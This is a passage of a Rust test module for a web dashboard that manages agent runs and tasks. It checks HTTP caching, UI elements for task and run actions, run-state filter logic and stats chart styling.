15958 Some("no-cache, must-revalidate"),
15959 "the phone has to ask every time"
15960 );
15961
15962 let again = fx
15965 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15966 .await;
15967 assert_eq!(
15968 again.status, 304,
15969 "a deck it already has costs one round trip"
15970 );
15971 assert!(again.body.is_empty(), "304 carries no body");
15972
15973 let weak = fx
15976 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15977 .await;
15978 assert_eq!(weak.status, 304);
15979 let stale = fx
15980 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15981 .await;
15982 assert_eq!(stale.status, 200, "an older build must be replaced");
15983 assert!(stale.body.contains("renderRunActions"));
15984 }
15985
15986 #[test]
15987 fn the_task_detail_has_an_actions_fab_and_sheet() {
15988 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15989 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15990 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15991 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15993 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15994 assert!(APP_JS.contains("renderTaskActions(task);"));
15996 assert!(APP_JS.contains("renderTaskActions(null);"));
15997 let sheet = APP_JS
15999 .find("function renderTaskActions")
16000 .expect("sheet renderer");
16001 let body = &APP_JS[sheet..sheet + 3000];
16002 assert!(body.contains("changePriority("));
16003 assert!(body.contains("openTaskEdit(task)"));
16004 assert!(body.contains("renderTaskHoldBox(host"));
16005 assert!(body.contains("renderTaskDoneBox(host"));
16006 assert!(body.contains("renderTaskDeleteBox(host"));
16007 assert!(APP_JS.contains("API.priority(id)"));
16008 assert!(APP_JS.contains("API.deleteTask(id)"));
16009 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16011 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16013 }
16014
16015 #[test]
16016 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16017 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16018 let actions = INDEX_HTML
16019 .find("id=\"run-actions-box\"")
16020 .expect("actions box");
16021 assert!(task < actions, "the task entry comes first in the sheet");
16022 assert!(APP_JS.contains("renderRunTaskEntry"));
16023 assert!(APP_JS.contains("\"Open task \""));
16024 assert!(APP_JS.contains("started directly, no task"));
16026 assert!(APP_JS.contains("sheet-task-link"));
16027 assert!(APP_JS.contains("task-chip-link"));
16028 }
16029
16030 #[test]
16031 fn the_deck_never_sends_the_operator_to_a_terminal() {
16032 assert!(
16035 !APP_JS.contains("Run `magi fold` first"),
16036 "the deck must offer the fold, not prescribe a shell command"
16037 );
16038 assert!(APP_JS.contains("foldRun:"));
16039 assert!(APP_JS.contains("resumeRun:"));
16040 assert!(APP_JS.contains("renderRunActions"));
16041
16042 assert!(APP_JS.contains("armedFold"));
16044 assert!(APP_JS.contains("Yes, fold worktrees"));
16045
16046 assert!(APP_JS.contains("can no longer be resumed"));
16049 }
16050
16051 #[test]
16052 fn a_finished_run_explains_itself_with_its_own_last_line() {
16053 assert!(
16059 !APP_JS.contains("collapsed on agent quota"),
16060 "a stall must not be explained by a cause the deck did not check"
16061 );
16062 assert!(
16063 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16064 "and a block must not offer a guess with an `or` in it"
16065 );
16066
16067 assert!(
16071 APP_JS.contains("setText(r.event, run.event || \"\")"),
16072 "the run's last line is rendered unconditionally"
16073 );
16074 assert!(
16075 !APP_JS.contains("moving && run.event"),
16076 "and never gated on the run still moving"
16077 );
16078
16079 assert!(APP_JS.contains("lost to quota"));
16081 }
16082
16083 #[test]
16105 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16106 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16107 let shapes_body_start =
16108 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16109 let shapes_close = APP_JS[shapes_body_start..]
16110 .find("].map(")
16111 .expect("the shape list is closed by its done-computing .map(...)")
16112 + shapes_body_start;
16113 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16114
16115 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16116 for entry in shapes_src.split('{').skip(1) {
16117 let waiting = entry.contains("waiting: true");
16118 let dead = entry.contains("live: \"dead\"");
16119 let status_at =
16120 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16121 let status_end = entry[status_at..]
16122 .find('"')
16123 .expect("the status string is closed")
16124 + status_at;
16125 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16126 }
16127 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16128
16129 let done_rule_marker = "done: !";
16133 let done_rule_at = APP_JS[shapes_close..]
16134 .find(done_rule_marker)
16135 .expect("the done rule follows the shape list")
16136 + shapes_close
16137 + done_rule_marker.len();
16138 let includes_at = APP_JS[done_rule_at..]
16139 .find(".includes(shape.status)")
16140 .expect("the done rule ends in .includes(shape.status)")
16141 + done_rule_at;
16142 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16143 .trim()
16144 .trim_start_matches('[')
16145 .trim_end_matches(']')
16146 .split(',')
16147 .map(|s| s.trim().trim_matches('"'))
16148 .filter(|s| !s.is_empty())
16149 .collect();
16150
16151 let shapes: Vec<(bool, String, bool, bool)> = shapes
16152 .into_iter()
16153 .map(|(waiting, status, dead)| {
16154 let done = !not_done.contains(&status.as_str());
16155 (waiting, status, dead, done)
16156 })
16157 .collect();
16158
16159 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16163 if waiting {
16164 return "waiting";
16165 }
16166 if dead
16167 && !matches!(
16168 status,
16169 "merged"
16170 | "ready"
16171 | "stalled"
16172 | "blocked"
16173 | "failed"
16174 | "verified_noop"
16175 | "superseded"
16176 | "already_in_base"
16177 )
16178 {
16179 return "stale";
16180 }
16181 match status {
16182 "merged" | "ready" => "landed",
16183 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16184 | "already_in_base" => "ended",
16185 _ => "flight",
16186 }
16187 }
16188
16189 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16192 match filter_key {
16193 "active" => !done,
16194 "flight" => !done && !waiting && !dead,
16195 "stale" => !done && !waiting && dead,
16196 "waiting" => waiting,
16197 "done" => done,
16198 "all" => true,
16199 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16200 }
16201 }
16202
16203 let compatible = |section: &str, filter_key: &str| {
16204 shapes.iter().any(|(waiting, status, dead, done)| {
16205 run_section(*waiting, status, *dead) == section
16206 && filter_matches(filter_key, *waiting, *dead, *done)
16207 })
16208 };
16209
16210 let expected = [
16215 ("waiting", [true, false, false, true, true, true]),
16216 ("stale", [true, false, true, false, false, true]),
16217 ("flight", [true, true, false, false, false, true]),
16218 ("landed", [false, false, false, false, true, true]),
16219 ("ended", [false, false, false, false, true, true]),
16220 ];
16221 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16222
16223 for (section, wants) in expected {
16224 for (filter_key, want) in filter_keys.iter().zip(wants) {
16225 assert_eq!(
16226 compatible(section, filter_key),
16227 want,
16228 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16229 );
16230 }
16231 }
16232
16233 assert!(
16236 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16237 );
16238 assert!(APP_JS.contains(
16239 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16240 ));
16241 assert!(APP_JS.contains(
16242 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16243 ));
16244 }
16245
16246 #[tokio::test]
16247 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16248 let dir = tempfile::tempdir().expect("tempdir");
16252 let explicit = dir.path().join("not-a-checkout");
16253 std::fs::create_dir_all(&explicit).expect("create dir");
16254 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16255
16256 let missing = dir.path().join("does-not-exist-at-all");
16257 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16258 }
16259
16260 #[test]
16261 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16262 assert!(APP_JS.contains("function statsDonutArcs"));
16263 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16264 assert!(APP_JS.contains("function statusInBucket"));
16266 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16267 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16268 let buckets = [
16269 "merged",
16270 "ready",
16271 "in_progress",
16272 "blocked",
16273 "failed",
16274 "verified_noop",
16275 "superseded",
16276 "stalled",
16277 ];
16278 for key in buckets {
16279 let var = format!("--verdict-{key}:");
16280 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16282 assert!(
16283 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16284 "{key}"
16285 );
16286 }
16287 }
16288}